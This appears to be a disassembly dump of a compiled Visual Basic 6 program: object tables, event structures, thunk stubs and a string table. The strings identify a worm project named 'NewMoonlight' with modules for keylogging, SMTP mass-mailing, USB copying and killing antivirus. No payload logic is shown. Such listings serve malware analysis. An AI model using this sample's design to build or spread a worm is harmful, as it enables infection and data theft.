    004054fc #199 lpEntry = 0x004092f0
    00405500 #200 lpEntry = 0x00409320
    00405504 #201 lpEntry = 0x00403fcc
    00405508 #202 lpEntry = 0x00409344
    0040550c #203 lpEntry = 0x00404b08
    00405510 #204 lpEntry = 0x00409454
    00405514 #205 lpEntry = 0x00406654 ; fn_406654
    00405518 #206 lpEntry = 0x00403b3c
    0040551c #207 lpEntry = 0x00409488
    00405520 #208 lpEntry = 0x0040949c
    00405524 #209 lpEntry = 0x004094c4
    00405528 #210 lpEntry = 0x0040950c
    0040552c #211 lpEntry = 0x00403fd8
    00405530 #212 lpEntry = 0x004067e4
    00405534 #213 lpEntry = 0x00409518
    00405538 #214 lpEntry = 0x00409524
    0040553c #215 lpEntry = 0x00409548
    00405540 #216 lpEntry = 0x00409558
    00405544 #217 lpEntry = 0x00409588
    00405548
    00405548 struct VBMethodEntry
    00405548 lpEntry uint32 0xff543a00
    0040554c
    0040554c struct VBMethodEntry
    0040554c lpEntry uint32 0x16fd003f
    00405550
    00405550 struct VBMethodEntry
    00405550 lpEntry uint32 0x411a98
    00405554
    00405554 struct VBMethodEntry
    00405554 lpEntry uint32 0x41207c
    00405558
    00405558 struct VBMethodEntry
    00405558 lpEntry uint32 0x4105dc
    0040555c
    0040555c struct VBMethodEntry
    0040555c lpEntry uint32 0x413b68
    00405560
    00405560 struct VBMethodEntry
    00405560 lpEntry uint32 0x412d98
    00405564
    00405564 struct VBMethodEntry
    00405564 lpEntry uint32 0x40d31c
    00405568
    00405568 struct VBMethodEntry
    00405568 lpEntry uint32 0x40bdb4
    0040556c
    0040556c struct VBMethodEntry
    0040556c lpEntry uint32 0x40e62c
    00405570
    00405570 struct VBMethodEntry
    00405570 lpEntry uint32 0x41017c
    00405574
    00405574 struct VBMethodEntry
    00405574 lpEntry uint32 0x40e81c
    00405578
    00405578 struct VBMethodEntry
    00405578 lpEntry uint32 0x40cb38
    0040557c
    0040557c struct VBMethodEntry
    0040557c lpEntry uint32 0x40ba40
    00405580
    00405580 struct VBMethodEntry
    00405580 lpEntry uint32 0x40b5ac
    00405584
    00405584 struct VBMethodEntry
    00405584 lpEntry uint32 0x40bc30
    00405588
    00405588 struct VBMethodEntry
    00405588 lpEntry uint32 0x40d0b0
    0040558c
    0040558c struct VBMethodEntry
    0040558c lpEntry uint32 0x40c62c
    00405590
    00405590 struct VBMethodEntry
    00405590 lpEntry uint32 0x40b0ec
    00405594
    00405594 struct VBMethodEntry
    00405594 lpEntry uint32 0x40c824
    00405598
    00405598 struct VBMethodEntry
    00405598 lpEntry uint32 0x40f04c
    0040559c
    0040559c struct VBGUIDEntry
    0040559c lpEntry uint32 0x4064f4
    004055a0
    004055a0 struct VBGUIDEntry
    004055a0 lpEntry uint32 0x406504
    004055a4
    004055a4 struct ControlInfo
    004055a4 fControlType uint16 0x0040
    004055a6 wEventCount int 1
    004055a8 bWEventsOffset uint16 0x0058
    004055aa wUnknown uint16 0x0000
    004055ac lpGuid uint32 0x406514
    004055b0 dwIndex uint32 0x00030007
    004055b4 dwNull uint32 0x00000000
    004055b8 dwNull2 uint32 0x00000000
    004055bc lpEventInfo uint32 0x405730
    004055c0 lpIdeData uint32 0x02d40dc8
    004055c4 lpszName uint32 0x406524
    004055c8 dwIndexCopy uint32 0x00030007
    004055cc
    004055cc struct ControlInfo
    004055cc fControlType uint16 0x0040
    004055ce wEventCount int 1
    004055d0 bWEventsOffset uint16 0x005c
    004055d2 wUnknown uint16 0x0000
    004055d4 lpGuid uint32 0x406514
    004055d8 dwIndex uint32 0x00030006
    004055dc dwNull uint32 0x00000000
    004055e0 dwNull2 uint32 0x00000000
    004055e4 lpEventInfo uint32 0x40574c
    004055e8 lpIdeData uint32 0x02d40dc8
    004055ec lpszName uint32 0x4065a0
    004055f0 dwIndexCopy uint32 0x00030006
    004055f4
    004055f4 struct ControlInfo
    004055f4 fControlType uint16 0x0040
    004055f6 wEventCount int 31
    004055f8 bWEventsOffset uint16 0x0060
    004055fa wUnknown uint16 0x0000
    004055fc lpGuid uint32 0x4065a8
    00405600 dwIndex uint32 0xffffffff
    00405604 dwNull uint32 0x00000000
    00405608 dwNull2 uint32 0x00000000
    0040560c lpEventInfo uint32 0x405768
    00405610 lpIdeData uint32 0x02d40dd8
    00405614 lpszName uint32 0x4065b8
    00405618 dwIndexCopy uint32 0xffffffff
    0040561c
    0040561c struct ControlInfo
    0040561c fControlType uint16 0x0040
    0040561e wEventCount int 1
    00405620 bWEventsOffset uint16 0x0064
    00405622 wUnknown uint16 0x0000
    00405624 lpGuid uint32 0x406514
    00405628 dwIndex uint32 0x00030005
    0040562c dwNull uint32 0x00000000
    00405630 dwNull2 uint32 0x00000000
    00405634 lpEventInfo uint32 0x4057fc
    00405638 lpIdeData uint32 0x02d40dc8
    0040563c lpszName uint32 0x4065c0
    00405640 dwIndexCopy uint32 0x00030005
    00405644
    00405644 struct ControlInfo
    00405644 fControlType uint16 0x0040
    00405646 wEventCount int 1
    00405648 bWEventsOffset uint16 0x0068
    0040564a wUnknown uint16 0x0000
    0040564c lpGuid uint32 0x406514
    00405650 dwIndex uint32 0x00030004
    00405654 dwNull uint32 0x00000000
    00405658 dwNull2 uint32 0x00000000
    0040565c lpEventInfo uint32 0x405818
    00405660 lpIdeData uint32 0x02d40dc8
    00405664 lpszName uint32 0x4065c8
    00405668 dwIndexCopy uint32 0x00030004
    0040566c
    0040566c struct ControlInfo
    0040566c fControlType uint16 0x0040
    0040566e wEventCount int 24
    00405670 bWEventsOffset uint16 0x006c
    00405672 wUnknown uint16 0x0000
    00405674 lpGuid uint32 0x4065d8
    00405678 dwIndex uint32 0x00030002
    0040567c dwNull uint32 0x00000000
    00405680 dwNull2 uint32 0x00000000
    00405684 lpEventInfo uint32 0x405834
    00405688 lpIdeData uint32 0x02d40de8
    0040568c lpszName uint32 0x4065e8
    00405690 dwIndexCopy uint32 0x00030002
    00405694
    00405694 struct ControlInfo
    00405694 fControlType uint16 0x0040
    00405696 wEventCount int 1
    00405698 bWEventsOffset uint16 0x0070
    0040569a wUnknown uint16 0x0000
    0040569c lpGuid uint32 0x406514
    004056a0 dwIndex uint32 0x00030003
    004056a4 dwNull uint32 0x00000000
    004056a8 dwNull2 uint32 0x00000000
    004056ac lpEventInfo uint32 0x4058ac
    004056b0 lpIdeData uint32 0x02d40dc8
    004056b4 lpszName uint32 0x4065f4
    004056b8 dwIndexCopy uint32 0x00030003
    004056bc
    004056bc struct ControlInfo
    004056bc fControlType uint16 0x0040
    004056be wEventCount int 24
    004056c0 bWEventsOffset uint16 0x0074
    004056c2 wUnknown uint16 0x0000
    004056c4 lpGuid uint32 0x4065d8
    004056c8 dwIndex uint32 0x00030001
    004056cc dwNull uint32 0x00000000
    004056d0 dwNull2 uint32 0x00000000
    004056d4 lpEventInfo uint32 0x4058c8
    004056d8 lpIdeData uint32 0x02d40de8
    004056dc lpszName uint32 0x406600
    004056e0 dwIndexCopy uint32 0x00030001
    004056e4 struct VBEventLinkEntry[19] ; 0x4056e4-0x405730, 19 set, 0 null
    004056e4 #0 lpEntry = 0x0040595b ; fn_40595b
    004056e8 #1 lpEntry = 0x0040596f ; fn_40596f
    004056ec #2 lpEntry = 0x00405983 ; fn_405983
    004056f0 #3 lpEntry = 0x00405997 ; fn_405997
    004056f4 #4 lpEntry = 0x004059ab ; fn_4059ab
    004056f8 #5 lpEntry = 0x004059bf ; fn_4059bf
    004056fc #6 lpEntry = 0x004059d3 ; fn_4059d3
    00405700 #7 lpEntry = 0x00405a0f ; fn_405a0f
    00405704 #8 lpEntry = 0x00405a23 ; fn_405a23
    00405708 #9 lpEntry = 0x00405a73 ; fn_405a73
    0040570c #10 lpEntry = 0x00405a87 ; fn_405a87
    00405710 #11 lpEntry = 0x00405a9b ; fn_405a9b
    00405714 #12 lpEntry = 0x00405aaf ; fn_405aaf
    00405718 #13 lpEntry = 0x00405947 ; fn_405947
    0040571c #14 lpEntry = 0x004059e7 ; fn_4059e7
    00405720 #15 lpEntry = 0x004059fb ; fn_4059fb
    00405724 #16 lpEntry = 0x00405a37 ; fn_405a37
    00405728 #17 lpEntry = 0x00405a4b ; fn_405a4b
    0040572c #18 lpEntry = 0x00405a5f ; fn_405a5f
    00405730
    00405730 struct EventInfo
    00405730 dwNull uint32 0x00000000
    00405734 lpControlInfo uint32 0x4055a4
    00405738 lpObjectInfo uint32 0x405168
    0040573c lpQueryInterface uint32 0x4011fa
    00405740 lpAddRef uint32 0x401200
    00405744 lpRelease uint32 0x401206
    00405748
    00405748 struct VBEventHandlerEntry
    00405748 lpEntry uint32 0x41017c
    0040574c
    0040574c struct EventInfo
    0040574c dwNull uint32 0x00000000
    00405750 lpControlInfo uint32 0x4055cc
    00405754 lpObjectInfo uint32 0x405168
    00405758 lpQueryInterface uint32 0x4011fa
    0040575c lpAddRef uint32 0x401200
    00405760 lpRelease uint32 0x401206
    00405764
    00405764 struct VBEventHandlerEntry
    00405764 lpEntry uint32 0x40e81c
    00405768
    00405768 struct EventInfo
    00405768 dwNull uint32 0x00000000
    0040576c lpControlInfo uint32 0x4055f4
    00405770 lpObjectInfo uint32 0x405168
    00405774 lpQueryInterface uint32 0x4011fa
    00405778 lpAddRef uint32 0x401200
    0040577c lpRelease uint32 0x401206
    00405780 struct VBEventHandlerEntry[31] ; 0x405780-0x4057fc, 1 set, 30 null
    00405798 #6 lpEntry = 0x00405940 ; FrmMain.Form_Load
    004057fc
    004057fc struct EventInfo
    004057fc dwNull uint32 0x00000000
    00405800 lpControlInfo uint32 0x40561c
    00405804 lpObjectInfo uint32 0x405168
    00405808 lpQueryInterface uint32 0x4011fa
    0040580c lpAddRef uint32 0x401200
    00405810 lpRelease uint32 0x401206
    00405814
    00405814 struct VBEventHandlerEntry
    00405814 lpEntry uint32 0x40b5ac
    00405818
    00405818 struct EventInfo
    00405818 dwNull uint32 0x00000000
    0040581c lpControlInfo uint32 0x405644
    00405820 lpObjectInfo uint32 0x405168
    00405824 lpQueryInterface uint32 0x4011fa
    00405828 lpAddRef uint32 0x401200
    0040582c lpRelease uint32 0x401206
    00405830
    00405830 struct VBEventHandlerEntry
    00405830 lpEntry uint32 0x40d0b0
    00405834
    00405834 struct EventInfo
    00405834 dwNull uint32 0x00000000
    00405838 lpControlInfo uint32 0x40566c
    0040583c lpObjectInfo uint32 0x405168
    00405840 lpQueryInterface uint32 0x4011fa
    00405844 lpAddRef uint32 0x401200
    00405848 lpRelease uint32 0x401206
    0040584c struct VBEventHandlerEntry[24] ; 0x40584c-0x4058ac, 0 set, 24 null
    004058ac
    004058ac struct EventInfo
    004058ac dwNull uint32 0x00000000
    004058b0 lpControlInfo uint32 0x405694
    004058b4 lpObjectInfo uint32 0x405168
    004058b8 lpQueryInterface uint32 0x4011fa
    004058bc lpAddRef uint32 0x401200
    004058c0 lpRelease uint32 0x401206
    004058c4
    004058c4 struct VBEventHandlerEntry
    004058c4 lpEntry uint32 0x40bc30
    004058c8
    004058c8 struct EventInfo
    004058c8 dwNull uint32 0x00000000
    004058cc lpControlInfo uint32 0x4056bc
    004058d0 lpObjectInfo uint32 0x405168
    004058d4 lpQueryInterface uint32 0x4011fa
    004058d8 lpAddRef uint32 0x401200
    004058dc lpRelease uint32 0x401206
    004058e0 struct VBEventHandlerEntry[24] ; 0x4058e0-0x405940, 0 set, 24 null
    00405940
    00405940fn_405940:
    00405940mov eax, 96
    00405940
    00405945
    00405945 66 3d f=
    00405947
    00405947fn_405947:
    00405947xor eax, eax
    00405949mov edx, 0x411a98
    0040594epush 0x40120c
    00405953ret
    00405947
    00405954
    00405954 b8 00 00 00 00 66 3d .....f=
    0040595b
    0040595bfn_40595b:
    0040595bxor eax, eax
    0040595dmov edx, 0x41207c
    00405962push 0x40120c
    00405967ret
    0040595b
    00405968
    00405968 b8 00 00 00 00 66 3d .....f=
    0040596f
    0040596ffn_40596f:
    0040596fxor eax, eax
    00405971mov edx, 0x4105dc
    00405976push 0x40120c
    0040597bret
    0040596f
    0040597c
    0040597c b8 00 00 00 ....
    00405980 00 66 3d .f=
    00405983
    00405983fn_405983:
    00405983xor eax, eax
    00405985mov edx, 0x413b68
    0040598apush 0x40120c
    0040598fret
    00405983
    00405990
    00405990 b8 00 00 00 00 66 3d .....f=
    00405997
    00405997fn_405997:
    00405997xor eax, eax
    00405999mov edx, 0x412d98
    0040599epush 0x40120c
    004059a3ret
    00405997
    004059a4
    004059a4 b8 00 00 00 00 66 3d .....f=
    004059ab
    004059abfn_4059ab:
    004059abxor eax, eax
    004059admov edx, 0x40d31c
    004059b2push 0x40120c
    004059b7ret
    004059ab
    004059b8
    004059b8 b8 00 00 00 00 66 3d .....f=
    004059bf
    004059bffn_4059bf:
    004059bfxor eax, eax
    004059c1mov edx, 0x40bdb4
    004059c6push 0x40120c
    004059cbret
    004059bf
    004059cc
    004059cc b8 00 00 00 ....
    004059d0 00 66 3d .f=
    004059d3
    004059d3fn_4059d3:
    004059d3xor eax, eax
    004059d5mov edx, 0x40e62c
    004059dapush 0x40120c
    004059dfret
    004059d3
    004059e0
    004059e0fn_4059e0:
    004059e0mov eax, 88
    004059e0
    004059e5
    004059e5 66 3d f=
    004059e7
    004059e7fn_4059e7:
    004059e7xor eax, eax
    004059e9mov edx, 0x41017c
    004059eepush 0x40120c
    004059f3ret
    004059e7
    004059f4
    004059f4fn_4059f4:
    004059f4mov eax, 92
    004059f4
    004059f9
    004059f9 66 3d f=
    004059fb
    004059fbfn_4059fb:
    004059fbxor eax, eax
    004059fdmov edx, 0x40e81c
    00405a02push 0x40120c
    00405a07ret
    004059fb
    00405a08
    00405a08 b8 00 00 00 00 66 3d .....f=
    00405a0f
    00405a0ffn_405a0f:
    00405a0fxor eax, eax
    00405a11mov edx, 0x40cb38
    00405a16push 0x40120c
    00405a1bret
    00405a0f
    00405a1c
    00405a1c b8 00 00 00 ....
    00405a20 00 66 3d .f=
    00405a23
    00405a23fn_405a23:
    00405a23xor eax, eax
    00405a25mov edx, 0x40ba40
    00405a2apush 0x40120c
    00405a2fret
    00405a23
    00405a30
    00405a30fn_405a30:
    00405a30mov eax, 100
    00405a30
    00405a35
    00405a35 66 3d f=
    00405a37
    00405a37fn_405a37:
    00405a37xor eax, eax
    00405a39mov edx, 0x40b5ac
    00405a3epush 0x40120c
    00405a43ret
    00405a37
    00405a44
    00405a44fn_405a44:
    00405a44mov eax, 112
    00405a44
    00405a49
    00405a49 66 3d f=
    00405a4b
    00405a4bfn_405a4b:
    00405a4bxor eax, eax
    00405a4dmov edx, 0x40bc30
    00405a52push 0x40120c
    00405a57ret
    00405a4b
    00405a58
    00405a58fn_405a58:
    00405a58mov eax, 104
    00405a58
    00405a5d
    00405a5d 66 3d f=
    00405a5f
    00405a5ffn_405a5f:
    00405a5fxor eax, eax
    00405a61mov edx, 0x40d0b0
    00405a66push 0x40120c
    00405a6bret
    00405a5f
    00405a6c
    00405a6c b8 00 00 00 ....
    00405a70 00 66 3d .f=
    00405a73
    00405a73fn_405a73:
    00405a73xor eax, eax
    00405a75mov edx, 0x40c62c
    00405a7apush 0x40120c
    00405a7fret
    00405a73
    00405a80
    00405a80 b8 00 00 00 00 66 3d .....f=
    00405a87
    00405a87fn_405a87:
    00405a87xor eax, eax
    00405a89mov edx, 0x40b0ec
    00405a8epush 0x40120c
    00405a93ret
    00405a87
    00405a94
    00405a94 b8 00 00 00 00 66 3d .....f=
    00405a9b
    00405a9bfn_405a9b:
    00405a9bxor eax, eax
    00405a9dmov edx, 0x40c824
    00405aa2push 0x40120c
    00405aa7ret
    00405a9b
    00405aa8
    00405aa8 b8 00 00 00 00 66 3d .....f=
    00405aaf
    00405aaffn_405aaf:
    00405aafxor eax, eax
    00405ab1mov edx, 0x40f04c
    00405ab6push 0x40120c
    00405abbret
    00405aaf
    00405abc
    00405abc struct ObjectTable
    00405abc lpHeapLink uint32 0x00000000
    00405ac0 lpExecProj uint32 0x41b524
    00405ac4 lpProjectInfo2 uint32 0x40b1bc
    00405ac8 dwReserved uint32 0xffffffff
    00405acc dwNull uint32 0x00000000
    00405ad0 lpProjectObject uint32 0x41b514
    00405ad4 uuidObject guid 39a80b40-be66-42dd-8796-aca299f9c72d
    00405ae4 fCompileState uint16 0x000a
    00405ae6 wTotalObjects int 15
    00405ae8 wCompiledObjects int 15
    00405aea wObjectsInUse int 15
    00405aec lpObjectArray uint32 0x405b10
    00405af0 fIdeFlag uint32 0x00000000
    00405af4 lpIdeData uint32 0x00000000
    00405af8 lpIdeData2 uint32 0x00000000
    00405afc lpszProjectName uint32 0x405ed0
    00405b00 dwLcid uint32 0x00000409
    00405b04 dwLcid2 uint32 0x00000409
    00405b08 lpIdeData3 uint32 0x00000000
    00405b0c dwIdentifier int 2
    00405b10
    00405b10 struct PublicObjectDescriptor
    00405b10 lpObjectInfo uint32 0x403ff0
    00405b14 dwReserved uint32 0xffffffff
    00405b18 lpPublicBytes uint32 0x406314
    00405b1c lpStaticBytes uint32 0x00000000
    00405b20 lpModulePublic uint32 0x41b008
    00405b24 lpModuleStatic uint32 0x00000000
    00405b28 lpszObjectName uint32 0x405e34
    00405b2c dwMethodCount int 22
    00405b30 lpMethodNames uint32 0x00000000
    00405b34 bStaticVars uint32 0x0000ffff
    00405b38 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405b3c dwNull uint32 0x00000000
    00405b40
    00405b40 struct PublicObjectDescriptor
    00405b40 lpObjectInfo uint32 0x403e7c
    00405b44 dwReserved uint32 0xffffffff
    00405b48 lpPublicBytes uint32 0x4064b8
    00405b4c lpStaticBytes uint32 0x00000000
    00405b50 lpModulePublic uint32 0x41b154
    00405b54 lpModuleStatic uint32 0x00000000
    00405b58 lpszObjectName uint32 0x405e3c
    00405b5c dwMethodCount int 6
    00405b60 lpMethodNames uint32 0x00000000
    00405b64 bStaticVars uint32 0x0000ffff
    00405b68 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405b6c dwNull uint32 0x00000000
    00405b70
    00405b70 struct PublicObjectDescriptor
    00405b70 lpObjectInfo uint32 0x4041b8
    00405b74 dwReserved uint32 0xffffffff
    00405b78 lpPublicBytes uint32 0x406904
    00405b7c lpStaticBytes uint32 0x00000000
    00405b80 lpModulePublic uint32 0x41b18c
    00405b84 lpModuleStatic uint32 0x00000000
    00405b88 lpszObjectName uint32 0x405e48
    00405b8c dwMethodCount int 11
    00405b90 lpMethodNames uint32 0x00000000
    00405b94 bStaticVars uint32 0x0000ffff
    00405b98 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405b9c dwNull uint32 0x00000000
    00405ba0
    00405ba0 struct PublicObjectDescriptor
    00405ba0 lpObjectInfo uint32 0x403844
    00405ba4 dwReserved uint32 0xffffffff
    00405ba8 lpPublicBytes uint32 0x407518
    00405bac lpStaticBytes uint32 0x00000000
    00405bb0 lpModulePublic uint32 0x41b4c4
    00405bb4 lpModuleStatic uint32 0x00000000
    00405bb8 lpszObjectName uint32 0x405e54
    00405bbc dwMethodCount int 3
    00405bc0 lpMethodNames uint32 0x00000000
    00405bc4 bStaticVars uint32 0x0000ffff
    00405bc8 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405bcc dwNull uint32 0x00000000
    00405bd0
    00405bd0 struct PublicObjectDescriptor
    00405bd0 lpObjectInfo uint32 0x405168
    00405bd4 dwReserved uint32 0xffffffff
    00405bd8 lpPublicBytes uint32 0x406758
    00405bdc lpStaticBytes uint32 0x00000000
    00405be0 lpModulePublic uint32 0x00000000
    00405be4 lpModuleStatic uint32 0x00000000
    00405be8 lpszObjectName uint32 0x405e5c
    00405bec dwMethodCount int 21
    00405bf0 lpMethodNames uint32 0x405de0
    00405bf4 bStaticVars uint32 0x0000ffff
    00405bf8 fObjectType uint32 0x00018083 ; HasOptionalInfo|HasPrivateObject|Form
    00405bfc dwNull uint32 0x00000000
    00405c00
    00405c00 struct PublicObjectDescriptor
    00405c00 lpObjectInfo uint32 0x403b6c
    00405c04 dwReserved uint32 0xffffffff
    00405c08 lpPublicBytes uint32 0x407518
    00405c0c lpStaticBytes uint32 0x00000000
    00405c10 lpModulePublic uint32 0x41b4e4
    00405c14 lpModuleStatic uint32 0x00000000
    00405c18 lpszObjectName uint32 0x405e64
    00405c1c dwMethodCount int 13
    00405c20 lpMethodNames uint32 0x00000000
    00405c24 bStaticVars uint32 0x0000ffff
    00405c28 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405c2c dwNull uint32 0x00000000
    00405c30
    00405c30 struct PublicObjectDescriptor
    00405c30 lpObjectInfo uint32 0x40397c
    00405c34 dwReserved uint32 0xffffffff
    00405c38 lpPublicBytes uint32 0x407518
    00405c3c lpStaticBytes uint32 0x00000000
    00405c40 lpModulePublic uint32 0x41b218
    00405c44 lpModuleStatic uint32 0x00000000
    00405c48 lpszObjectName uint32 0x405e70
    00405c4c dwMethodCount int 6
    00405c50 lpMethodNames uint32 0x00000000
    00405c54 bStaticVars uint32 0x0000ffff
    00405c58 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405c5c dwNull uint32 0x00000000
    00405c60
    00405c60 struct PublicObjectDescriptor
    00405c60 lpObjectInfo uint32 0x404b14
    00405c64 dwReserved uint32 0xffffffff
    00405c68 lpPublicBytes uint32 0x40732c
    00405c6c lpStaticBytes uint32 0x00000000
    00405c70 lpModulePublic uint32 0x41b1c8
    00405c74 lpModuleStatic uint32 0x00000000
    00405c78 lpszObjectName uint32 0x405e78
    00405c7c dwMethodCount int 38
    00405c80 lpMethodNames uint32 0x00000000
    00405c84 bStaticVars uint32 0x0000ffff
    00405c88 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405c8c dwNull uint32 0x00000000
    00405c90
    00405c90 struct PublicObjectDescriptor
    00405c90 lpObjectInfo uint32 0x403910
    00405c94 dwReserved uint32 0xffffffff
    00405c98 lpPublicBytes uint32 0x406cc8
    00405c9c lpStaticBytes uint32 0x00000000
    00405ca0 lpModulePublic uint32 0x41b1b8
    00405ca4 lpModuleStatic uint32 0x00000000
    00405ca8 lpszObjectName uint32 0x405e80
    00405cac dwMethodCount int 6
    00405cb0 lpMethodNames uint32 0x00000000
    00405cb4 bStaticVars uint32 0x0000ffff
    00405cb8 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405cbc dwNull uint32 0x00000000
    00405cc0
    00405cc0 struct PublicObjectDescriptor
    00405cc0 lpObjectInfo uint32 0x404888
    00405cc4 dwReserved uint32 0xffffffff
    00405cc8 lpPublicBytes uint32 0x409444
    00405ccc lpStaticBytes uint32 0x409fc4
    00405cd0 lpModulePublic uint32 0x41b504
    00405cd4 lpModuleStatic uint32 0x41b510
    00405cd8 lpszObjectName uint32 0x405e8c
    00405cdc dwMethodCount int 5
    00405ce0 lpMethodNames uint32 0x00000000
    00405ce4 bStaticVars uint32 0x00000004
    00405ce8 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405cec dwNull uint32 0x00000000
    00405cf0
    00405cf0 struct PublicObjectDescriptor
    00405cf0 lpObjectInfo uint32 0x404e2c
    00405cf4 dwReserved uint32 0xffffffff
    00405cf8 lpPublicBytes uint32 0x407518
    00405cfc lpStaticBytes uint32 0x00000000
    00405d00 lpModulePublic uint32 0x41b228
    00405d04 lpModuleStatic uint32 0x00000000
    00405d08 lpszObjectName uint32 0x405e94
    00405d0c dwMethodCount int 3
    00405d10 lpMethodNames uint32 0x00000000
    00405d14 bStaticVars uint32 0x0000ffff
    00405d18 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405d1c dwNull uint32 0x00000000
    00405d20
    00405d20 struct PublicObjectDescriptor
    00405d20 lpObjectInfo uint32 0x403c44
    00405d24 dwReserved uint32 0xffffffff
    00405d28 lpPublicBytes uint32 0x407c10
    00405d2c lpStaticBytes uint32 0x00000000
    00405d30 lpModulePublic uint32 0x41b248
    00405d34 lpModuleStatic uint32 0x00000000
    00405d38 lpszObjectName uint32 0x405ea4
    00405d3c dwMethodCount int 11
    00405d40 lpMethodNames uint32 0x00000000
    00405d44 bStaticVars uint32 0x0000ffff
    00405d48 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405d4c dwNull uint32 0x00000000
    00405d50
    00405d50 struct PublicObjectDescriptor
    00405d50 lpObjectInfo uint32 0x403d58
    00405d54 dwReserved uint32 0xffffffff
    00405d58 lpPublicBytes uint32 0x407518
    00405d5c lpStaticBytes uint32 0x00000000
    00405d60 lpModulePublic uint32 0x41b4d4
    00405d64 lpModuleStatic uint32 0x00000000
    00405d68 lpszObjectName uint32 0x405eac
    00405d6c dwMethodCount int 11
    00405d70 lpMethodNames uint32 0x00000000
    00405d74 bStaticVars uint32 0x0000ffff
    00405d78 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405d7c dwNull uint32 0x00000000
    00405d80
    00405d80 struct PublicObjectDescriptor
    00405d80 lpObjectInfo uint32 0x403aa0
    00405d84 dwReserved uint32 0xffffffff
    00405d88 lpPublicBytes uint32 0x407518
    00405d8c lpStaticBytes uint32 0x00000000
    00405d90 lpModulePublic uint32 0x41b238
    00405d94 lpModuleStatic uint32 0x00000000
    00405d98 lpszObjectName uint32 0x405eb8
    00405d9c dwMethodCount int 4
    00405da0 lpMethodNames uint32 0x00000000
    00405da4 bStaticVars uint32 0x0000ffff
    00405da8 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405dac dwNull uint32 0x00000000
    00405db0
    00405db0 struct PublicObjectDescriptor
    00405db0 lpObjectInfo uint32 0x4038a8
    00405db4 dwReserved uint32 0xffffffff
    00405db8 lpPublicBytes uint32 0x407518
    00405dbc lpStaticBytes uint32 0x00000000
    00405dc0 lpModulePublic uint32 0x41b4f4
    00405dc4 lpModuleStatic uint32 0x00000000
    00405dc8 lpszObjectName uint32 0x405ec8
    00405dcc dwMethodCount int 3
    00405dd0 lpMethodNames uint32 0x00000000
    00405dd4 bStaticVars uint32 0x0000ffff
    00405dd8 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405ddc dwNull uint32 0x00000000
    00405de0 struct VBMethodNameEntry[21] ; 0x405de0-0x405e34, 18 set, 3 null
    00405de0 #0 lpEntry = 0xfffffffe
    00405de8 #2 lpEntry = 0xffffffff
    00405dec #3 lpEntry = 0x004066b8 ; "instal"
    00405df0 #4 lpEntry = 0x004066c0 ; "CopyWoRm"
    00405df4 #5 lpEntry = 0x004066cc ; "setMyRegister"
    00405df8 #6 lpEntry = 0x004066dc ; "KIllallVirri"
    00405dfc #7 lpEntry = 0x004066ec ; "CopyYourUfd"
    00405e00 #8 lpEntry = 0x004066f8 ; "StartMailWorm"
    00405e04 #9 lpEntry = 0x00406708 ; "SelamatkanMsVb"
    00405e08 #10 lpEntry = 0xfffffffe
    00405e10 #12 lpEntry = 0x00406718 ; "EndTKMnUW"
    00405e14 #13 lpEntry = 0x00406724 ; "CreateMutex"
    00405e1c #15 lpEntry = 0x02df208a
    00405e20 #16 lpEntry = 0x00000338
    00405e24 #17 lpEntry = 0x00406730 ; "kirimbo"
    00405e28 #18 lpEntry = 0x00406738 ; "taroocx"
    00405e2c #19 lpEntry = 0x00406740 ; "dRopingAnyFiles"
    00405e30 #20 lpEntry = 0x00406750 ; "shellbi"
    00405e34
    00405e34 string "global",0
    00405e3b
    00405e3b 00 .
    00405e3c
    00405e3c string "Utilities",0
    00405e46
    00405e46 00 00 ..
    00405e48
    00405e48 string "ScanEmail",0
    00405e52
    00405e52 00 00 ..
    00405e54
    00405e54 string "mosf",0
    00405e59
    00405e59 00 00 00 ...
    00405e5c
    00405e5c string "FrmMain",0
    00405e64
    00405e64 string "basRegistry",0
    00405e70
    00405e70 string "modInet",0
    00405e78
    00405e78 string "newSmtp",0
    00405e80
    00405e80 string "basService",0
    00405e8b
    00405e8b 00 .
    00405e8c
    00405e8c string "keylog",0
    00405e93
    00405e93 00 .
    00405e94
    00405e94 string "ModSmtpEngine",0
    00405ea2
    00405ea2 00 00 ..
    00405ea4
    00405ea4 string "Modzip",0
    00405eab
    00405eab 00 .
    00405eac
    00405eac string "ModNetwork",0
    00405eb7
    00405eb7 00 .
    00405eb8
    00405eb8 string "ModMoonUpdate",0
    00405ec6
    00405ec6 00 00 ..
    00405ec8
    00405ec8 string "Modmidi",0
    00405ed0
    00405ed0 string "NewMoonlight",0
    00405edd
    00405edd 00 00 00 ...
    00405ee0 06 00 00 00 ....
    00405ee4
    00405ee4 wstring "*.*",0
    00405eec
    00405eec struct VBDeclareNameLength
    00405eec cbName int 12
    00405ef0
    00405ef0 string "shell32.dll",0
    00405efc
    00405efc struct VBDeclareNameLength
    00405efc cbName int 14
    00405f00
    00405f00 string "ShellExecuteA",0
    00405f0e
    00405f0e 00 00 ..
    00405f10
    00405f10 struct DeclareInfo
    00405f10 lpszLibraryName uint32 0x405ef0
    00405f14 lpszFunctionName uint32 0x405f00
    00405f18 dwFlags uint32 0x00040000
    00405f1c lpCache uint32 0x41bc60
    00405f20 dwReserved uint32 0x00000000
    00405f24
    00405f24 00 00 00 00 ....
    00405f28
    00405f28fn_405f28:
    00405f28mov eax, [0x41bc68]
    00405f2dor eax, eax
    00405f2fje 0x405f33
    00405f31jmp eax
    00405f33
    00405f33loc_405f33:
    00405f33push 0x405f10
    00405f38mov eax, 0x4010e0
    00405f3dcall eax
    00405f3fjmp eax
    00405f28
    00405f41
    00405f41 00 00 00 ...
    00405f44
    00405f44 struct VBDeclareNameLength
    00405f44 cbName int 9
    00405f48
    00405f48 string "kernel32",0
    00405f51
    00405f51 00 00 00 ...
    00405f54
    00405f54 struct VBDeclareNameLength
    00405f54 cbName int 21
    00405f58
    00405f58 string "GetWindowsDirectoryA",0
    00405f6d
    00405f6d 00 00 00 ...
    00405f70 08 00 00 00 ....
    00405f74
